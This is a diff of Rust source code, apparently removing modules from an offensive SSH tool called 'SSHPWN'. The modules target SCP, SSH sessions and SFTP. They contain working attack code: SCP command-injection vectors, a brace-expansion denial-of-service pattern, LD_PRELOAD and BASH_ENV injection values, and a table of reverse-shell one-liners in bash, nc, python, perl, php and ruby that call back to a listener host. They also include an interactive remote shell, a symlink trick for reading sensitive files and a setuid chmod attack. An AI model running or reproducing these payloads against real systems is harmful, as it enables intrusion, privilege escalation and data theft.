println!("{}", format!("[-] Test failed: {}", e).yellow());
}
}
// Cleanup
let _ = ssh_exec(&sess, "rm -rf /tmp/bracetest");
// Explicit session cleanup
drop(sess);
println!();
println!("{}", "[*] To test DoS (WARNING: may crash client):".cyan());
let large_pattern: String = (0..20u32).map(|_| "{a,b}").collect(); // 2^20 = 1M strings
println!("{}", format!(" scp '{}@{}:{}' /tmp/", username, host, large_pattern).dimmed());
Ok(true)
}
/// SCP Command Injection - Inject commands via SCP arguments
///
/// Vulnerability: scp.c do_cmd() constructs commands passed to ssh.
/// Historical vulnerabilities in argument handling allow injection.
pub async fn attack_scp_cmd_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SCP Command Injection on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Test vectors that could escape argument handling
let injection_vectors = vec![
("-oProxyCommand=id", "ProxyCommand injection"),
("--rsync-path=id", "rsync-path injection"),
("-S /tmp/fake;id", "ControlPath injection"),
("user@host:file;id", "Semicolon in path"),
("user@host:'$(id)'", "Command substitution in remote path"),
];
println!("{}", "[*] SCP command injection vectors:".cyan());
for (vec, desc) in &injection_vectors {
println!("{}", format!(" [{}]: {}", desc, vec).red());
}
// Test if server allows unusual filenames
let test_filename = "/tmp/test_$(whoami)_file";
let cmd = format!(
"touch '{}' 2>/dev/null && ls -la /tmp/test_*_file 2>/dev/null",
test_filename
);
match ssh_exec(&sess, &cmd) {
Ok((_, stdout, _)) => {
if !stdout.is_empty() {
println!("{}", format!("[*] Server filename handling: {}", stdout.trim()).cyan());
}
}
Err(_) => {}
}
// Cleanup
let _ = ssh_exec(&sess, "rm -f /tmp/test_*_file");
// Explicit session cleanup
drop(sess);
println!();
println!("{}", "[*] Manual testing commands:".cyan());
println!("{}", format!(" scp -oProxyCommand='id>/tmp/pwn' {}@{}:/etc/passwd /tmp/", username, host).dimmed());
println!("{}", format!(" scp '{}@{}:\"$(id)\"' /tmp/", username, host).dimmed());
Ok(true)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Path Traversal Test (requires auth)");
println!(" 2. Username Shell Injection Analysis (no auth)");
println!(" 3. Brace Expansion DoS Test (requires auth)");
println!(" 4. Command Injection Analysis (requires auth)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "2").await?;
// Mode 2 doesn't require auth
if mode == "2" {
attack_scp_username_injection(&host, port).await?;
return Ok(());
}
// Other modes require authentication
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
validate_file_path(kf, true)
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
}
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
}
"3" => {
let depth: u32 = prompt_default("Brace expansion depth", "10").await?.parse().unwrap_or(10);
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
}
"4" => {
attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All SCP Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Path Traversal ---".cyan());
let _ = attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await;
println!();
println!("{}", "--- Attack 2: Username Injection ---".cyan());
let _ = attack_scp_username_injection(&host, port).await;
println!();
println!("{}", "--- Attack 3: Brace Expansion DoS ---".cyan());
let _ = attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, 10).await;
println!();
println!("{}", "--- Attack 4: Command Injection ---".cyan());
let _ = attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await;
}
}
println!();
println!("{}", "[*] SCP attack module complete".green());
Ok(())
}
-650
View File
@@ -1,650 +0,0 @@
//! SSHPWN Session Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SESSION VULNERABILITIES (session.c):
//! - do_exec() - Forced command bypass potential
//! - do_setup_env() - Environment variable injection (HIGH)
//! - do_child() - Privilege separation boundary
//!
//! SSHD-SESSION VULNERABILITIES (sshd-session.c):
//! - privsep_preauth() - FD leakage window between fork/closefrom
//! - privsep_postauth() - Privilege retention on DISABLE_FD_PASSING platforms
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_command_input, validate_file_path};
use ssh2::Session;
use std::{
collections::HashMap,
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - Session Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH session.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Environment Variable Injection (do_setup_env) ║".cyan());
println!("{}", "║ 2. Command Execution ║".cyan());
println!("{}", "║ 3. Interactive Shell ║".cyan());
println!("{}", "║ 4. Reverse Shell ║".cyan());
println!("{}", "║ 5. File Upload ║".cyan());
println!("{}", "║ 6. File Download ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command over SSH
fn ssh_exec(sess: &Session, cmd: &str, _timeout: u64) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
// Set non-blocking for timeout handling
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Session Environment Variable Injection
///
/// Vulnerability: session.c do_setup_env() copies environment variables
/// from various sources including GSSAPI and client requests.
pub async fn attack_session_env_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
custom_env: Option<HashMap<String, String>>,
) -> Result<bool> {
println!("{}", format!("[*] Session Environment Injection on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", "[*] Testing environment variable acceptance...".cyan());
// Common attack vectors
let env_injection_tests: Vec<(&str, &str)> = vec![
("LD_PRELOAD", "/tmp/evil.so"),
("LD_LIBRARY_PATH", "/tmp"),
("PATH", "/tmp:$PATH"),
("BASH_ENV", "/tmp/evil.sh"),
("ENV", "/tmp/evil.sh"),
("SSH_ORIGINAL_COMMAND", "id; cat /etc/passwd"),
("LC_ALL", "$(id)"),
("TERM", "$(id)"),
];
let mut custom_tests: Vec<(String, String)> = Vec::new();
if let Some(ref env_map) = custom_env {
for (k, v) in env_map {
custom_tests.push((k.clone(), v.clone()));
}
}
// Check current values
for (var, _val) in &env_injection_tests {
let cmd = format!("echo ${}", var);
match ssh_exec(&sess, &cmd, 10) {
Ok((_, stdout, _)) => {
println!("{}", format!(" {}: current='{}'", var, stdout.trim()).dimmed());
}
Err(_) => {}
}
}
println!();
println!("{}", "[*] Testing injection vectors...".cyan());
// These require AcceptEnv to be configured on server
println!("{}", "[!] AcceptEnv must allow these variables for injection to work".yellow());
println!("{}", "[*] Check server config: grep AcceptEnv /etc/ssh/sshd_config".dimmed());
// Test common permitted env vars
let permitted_test = "env | grep -E '^(LANG|LC_|SSH_)' | head -10";
match ssh_exec(&sess, permitted_test, 10) {
Ok((_, stdout, _)) => {
if !stdout.is_empty() {
println!("{}", "[+] Accepted environment variables:".green());
println!("{}", stdout);
}
}
Err(_) => {}
}
// Test if we can see SSH_ORIGINAL_COMMAND
let cmd = "echo SSH_ORIGINAL_COMMAND=$SSH_ORIGINAL_COMMAND";
match ssh_exec(&sess, cmd, 10) {
Ok((_, stdout, _)) => {
println!("{}", format!("[*] SSH_ORIGINAL_COMMAND test: {}", stdout.trim()).cyan());
}
Err(_) => {}
}
Ok(true)
}
/// Execute command on target
pub async fn attack_exec(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
command: &str,
timeout: u64,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
match ssh_exec(&sess, command, timeout) {
Ok((code, stdout, stderr)) => {
println!();
println!("{}", format!("[{}] Exit: {}", host, code).cyan());
if !stdout.is_empty() {
println!("{}", stdout);
}
if !stderr.is_empty() {
println!("{}", stderr.red());
}
Ok(code == 0)
}
Err(e) => {
println!("{}", format!("[-] Command execution failed: {}", e).red());
// Explicit session cleanup on error
drop(sess);
Ok(false)
}
}
}
/// Reverse shell payloads
fn get_reverse_shell_payloads() -> HashMap<&'static str, &'static str> {
let mut payloads = HashMap::new();
payloads.insert("bash", "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1");
payloads.insert("bash_alt", "/bin/bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"");
payloads.insert("nc", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f");
payloads.insert("python", "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
payloads.insert("python3", "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
payloads.insert("perl", "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'");
payloads.insert("php", "php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
payloads.insert("ruby", "ruby -rsocket -e's=TCPSocket.open(\"{lhost}\",{lport}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",s,s,s)'");
payloads
}
/// Send reverse shell payload
pub async fn attack_revshell(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
lhost: &str,
lport: u16,
payload_type: &str,
) -> Result<bool> {
let payloads = get_reverse_shell_payloads();
let payload_template = payloads.get(payload_type)
.ok_or_else(|| anyhow!("Unknown payload type: {}. Available: {}", payload_type,
payloads.keys().cloned().collect::<Vec<_>>().join(", ")))?;
let cmd = payload_template
.replace("{lhost}", lhost)
.replace("{lport}", &lport.to_string());
println!("{}", format!("[*] Payload ({}): ", payload_type).cyan());
println!(" {}", cmd);
println!();
println!("{}", format!("[!] Start listener: nc -lvnp {}", lport).yellow().bold());
println!();
print!("Press Enter to send payload...");
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
attack_exec(host, port, username, password, keyfile, &cmd, 5).await
}
/// Upload file via SFTP
pub async fn attack_upload(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
local_path: &str,
remote_path: &str,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
// Read local file
let content = std::fs::read(local_path)
.context(format!("Failed to read local file: {}", local_path))?;
// Write to remote
let mut remote_file = sftp.create(Path::new(remote_path))?;
remote_file.write_all(&content)?;
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
Ok(true)
}
/// Download file via SFTP
pub async fn attack_download(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
remote_path: &str,
local_path: &str,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
// Read from remote
let mut remote_file = sftp.open(Path::new(remote_path))?;
let mut content = Vec::new();
remote_file.read_to_end(&mut content)?;
// Write to local
std::fs::write(local_path, &content)
.context(format!("Failed to write local file: {}", local_path))?;
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
Ok(true)
}
/// Interactive shell - continuous command execution loop
pub async fn attack_interactive_shell(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", format!("[PWNED] Interactive shell on {}:{}", host, port).red().bold());
println!("{}", "[*] Type 'exit' or 'quit' to disconnect".cyan());
println!("{}", "[*] Type '!upload <local> <remote>' to upload files".cyan());
println!("{}", "[*] Type '!download <remote> <local>' to download files".cyan());
println!();
// Get initial info
if let Ok((_, whoami, _)) = ssh_exec(&sess, "whoami", 5) {
if let Ok((_, hostname, _)) = ssh_exec(&sess, "hostname", 5) {
println!("{}", format!("[*] Logged in as: {}@{}", whoami.trim(), hostname.trim()).green());
}
}
// Get initial working directory
let mut cwd = String::from("~");
if let Ok((_, pwd, _)) = ssh_exec(&sess, "pwd", 5) {
cwd = pwd.trim().to_string();
}
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
loop {
// Print prompt
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
// Read command
let mut input = String::new();
if stdin_reader.read_line(&mut input).await.is_err() {
break;
}
let cmd = input.trim();
if cmd.is_empty() {
continue;
}
// Handle special commands
if cmd == "exit" || cmd == "quit" {
println!("{}", "[*] Disconnecting...".cyan());
break;
}
// Handle file upload
if cmd.starts_with("!upload ") {
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
if parts.len() == 3 {
let local_path = parts[1];
let remote_path = parts[2];
match sess.sftp() {
Ok(sftp) => {
match std::fs::read(local_path) {
Ok(content) => {
match sftp.create(std::path::Path::new(remote_path)) {
Ok(mut f) => {
if f.write_all(&content).is_ok() {
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
} else {
println!("{}", "[-] Write failed".red());
}
}
Err(e) => println!("{}", format!("[-] Create failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] Read local file failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
}
} else {
println!("{}", "Usage: !upload <local_path> <remote_path>".yellow());
}
continue;
}
// Handle file download
if cmd.starts_with("!download ") {
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
if parts.len() == 3 {
let remote_path = parts[1];
let local_path = parts[2];
match sess.sftp() {
Ok(sftp) => {
match sftp.open(std::path::Path::new(remote_path)) {
Ok(mut f) => {
let mut content = Vec::new();
if f.read_to_end(&mut content).is_ok() {
if std::fs::write(local_path, &content).is_ok() {
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
} else {
println!("{}", "[-] Write local file failed".red());
}
} else {
println!("{}", "[-] Read remote file failed".red());
}
}
Err(e) => println!("{}", format!("[-] Open failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
}
} else {
println!("{}", "Usage: !download <remote_path> <local_path>".yellow());
}
continue;
}
// Handle cd command specially to track cwd
if cmd.starts_with("cd ") || cmd == "cd" {
let new_dir = if cmd == "cd" { "~" } else { &cmd[3..] };
let check_cmd = format!("cd {} && pwd", new_dir);
match ssh_exec(&sess, &check_cmd, 10) {
Ok((code, stdout, _)) => {
if code == 0 {
cwd = stdout.trim().to_string();
} else {
println!("{}", format!("cd: {}: No such directory", new_dir).red());
}
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
continue;
}
// Validate command input to prevent injection
let validated_cmd = validate_command_input(&cmd)
.map_err(|e| anyhow!("Invalid command: {}", e))?;
// Execute regular command (prepend cd to maintain directory context)
let full_cmd = format!("cd {} && {}", cwd, validated_cmd);
match ssh_exec(&sess, &full_cmd, 60) {
Ok((code, stdout, stderr)) => {
if !stdout.is_empty() {
print!("{}", stdout);
}
if !stderr.is_empty() {
print!("{}", stderr.red());
}
if code != 0 && stdout.is_empty() && stderr.is_empty() {
println!("{}", format!("Command exited with code: {}", code).yellow());
}
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
// Explicit session cleanup
drop(sess);
println!("{}", "[*] Session closed".cyan());
Ok(true)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
validate_file_path(kf, true)
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
}
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Environment Variable Injection Test");
println!(" 2. Execute Command");
println!(" 3. Interactive Shell");
println!(" 4. Reverse Shell");
println!(" 5. Upload File");
println!(" 6. Download File");
println!();
let mode = prompt_default("Attack mode", "1").await?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"2" => {
let command = prompt_default("Command to execute", "id").await?;
let validated_command = validate_command_input(&command)
.map_err(|e| anyhow!("Invalid command: {}", e))?;
attack_exec(&host, port, &username, password_ref, keyfile_ref, &validated_command, 30).await?;
}
"3" => {
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
}
"4" => {
let lhost = prompt("Listener IP (LHOST)").await?;
if lhost.is_empty() {
return Err(anyhow!("LHOST is required"));
}
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444").await?.parse().unwrap_or(4444);
println!();
println!("{}", "Available payloads:".cyan());
let payloads = get_reverse_shell_payloads();
for key in payloads.keys() {
println!(" - {}", key);
}
let payload_type = prompt_default("Payload type", "bash").await?;
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
}
"5" => {
let local_path = prompt("Local file path").await?;
let remote_path = prompt("Remote file path").await?;
let validated_local = validate_file_path(&local_path, true)
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
let validated_remote = validate_file_path(&remote_path, true)
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
attack_upload(&host, port, &username, password_ref, keyfile_ref, &validated_local, &validated_remote).await?;
}
"6" => {
let remote_path = prompt("Remote file path").await?;
let local_path = prompt("Local file path").await?;
let validated_remote = validate_file_path(&remote_path, true)
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
let validated_local = validate_file_path(&local_path, true)
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
attack_download(&host, port, &username, password_ref, keyfile_ref, &validated_remote, &validated_local).await?;
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] Session attack module complete".green());
Ok(())
}
@@ -1,489 +0,0 @@
//! SSHPWN SFTP Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SFTP-SERVER VULNERABILITIES (sftp-server.c):
//! - process_symlink() - Symlink target injection (HIGH)
//! - process_setstat() - chmod allows setuid via 07777 mask (HIGH)
//! - process_open() - Path traversal (HIGH)
//! - process_write() - Partial write atomicity issues
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_file_path};
use ssh2::Session;
use std::{
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - SFTP Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH sftp-server.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Symlink Injection (process_symlink) ║".cyan());
println!("{}", "║ 2. Setuid Bit Attack (process_setstat 07777) ║".cyan());
println!("{}", "║ 3. Path Traversal (process_open) ║".cyan());
println!("{}", "║ 4. Partial Write Race (process_write) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// SFTP Symlink Attack - Create symlink to sensitive file
///
/// Vulnerability: sftp-server.c process_symlink() does not validate symlink target.
/// Client can create symlinks pointing anywhere, bypassing chroot restrictions.
pub async fn attack_sftp_symlink(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_file: &str,
link_name: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Symlink Attack on {}", host).cyan());
println!("{}", format!("[*] Target file: {}", target_file).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let link_path = link_name
.map(|s| s.to_string())
.unwrap_or_else(|| format!("/tmp/.symlink_attack_{}", std::process::id()));
// Create symlink to target (this is the vulnerability)
// sftp-server.c:1491: r = symlink(oldpath, newpath);
match sftp.symlink(Path::new(target_file), Path::new(&link_path)) {
Ok(_) => {
println!("{}", format!("[VULN] Created symlink: {} -> {}", link_path, target_file).red().bold());
// Try to read through symlink
match sftp.open(Path::new(&link_path)) {
Ok(mut file) => {
let mut content = String::new();
if file.read_to_string(&mut content).is_ok() {
println!("{}", format!("[PWNED] Read {} via symlink:", target_file).red().bold());
println!();
// Show first 500 chars
let preview: String = content.chars().take(500).collect();
println!("{}", preview);
println!();
}
}
Err(e) => {
println!("{}", format!("[!] Read failed (may need permissions): {}", e).yellow());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&link_path));
// Explicit session cleanup
drop(sess);
Ok(true)
}
Err(e) => {
println!("{}", format!("[-] Symlink attack failed: {}", e).red());
// Explicit session cleanup on error
drop(sess);
Ok(false)
}
}
}
/// SFTP chmod Setuid Attack - Set setuid bit on uploaded file
///
/// Vulnerability: sftp-server.c process_setstat() uses 07777 mask.
/// This allows setting setuid(04000), setgid(02000), sticky(01000) bits.
pub async fn attack_sftp_setuid(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_file: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Setuid Attack on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let test_file = target_file
.map(|s| s.to_string())
.unwrap_or_else(|| format!("/tmp/setuid_test_{}", std::process::id()));
// Create test file
{
let mut file = sftp.create(Path::new(&test_file))?;
file.write_all(b"#!/bin/sh\nid\n")?;
}
println!("{}", format!("[*] Created test file: {}", test_file).cyan());
// Try to set setuid bit (0o4755 = setuid + rwxr-xr-x)
// sftp-server.c:1102: r = chmod(name, a.perm & 07777);
match sftp.setstat(Path::new(&test_file), ssh2::FileStat {
size: None,
uid: None,
gid: None,
perm: Some(0o4755),
atime: None,
mtime: None,
}) {
Ok(_) => {
// Verify
match sftp.stat(Path::new(&test_file)) {
Ok(stat) => {
if let Some(mode) = stat.perm {
let mode_masked = mode & 0o7777;
if mode_masked & 0o4000 != 0 {
println!("{}", format!("[VULN] Setuid bit set! Mode: {:o}", mode_masked).red().bold());
println!("{}", format!("[PWNED] File {} has setuid bit", test_file).red().bold());
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
return Ok(true);
} else {
println!("{}", format!("[*] Setuid stripped. Mode: {:o}", mode_masked).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[!] Stat failed: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[-] Chmod failed: {}", e).red());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
Ok(false)
}
/// SFTP Path Traversal - Attempt to access files outside allowed directory
pub async fn attack_sftp_traversal(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_path: &str,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Path Traversal on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
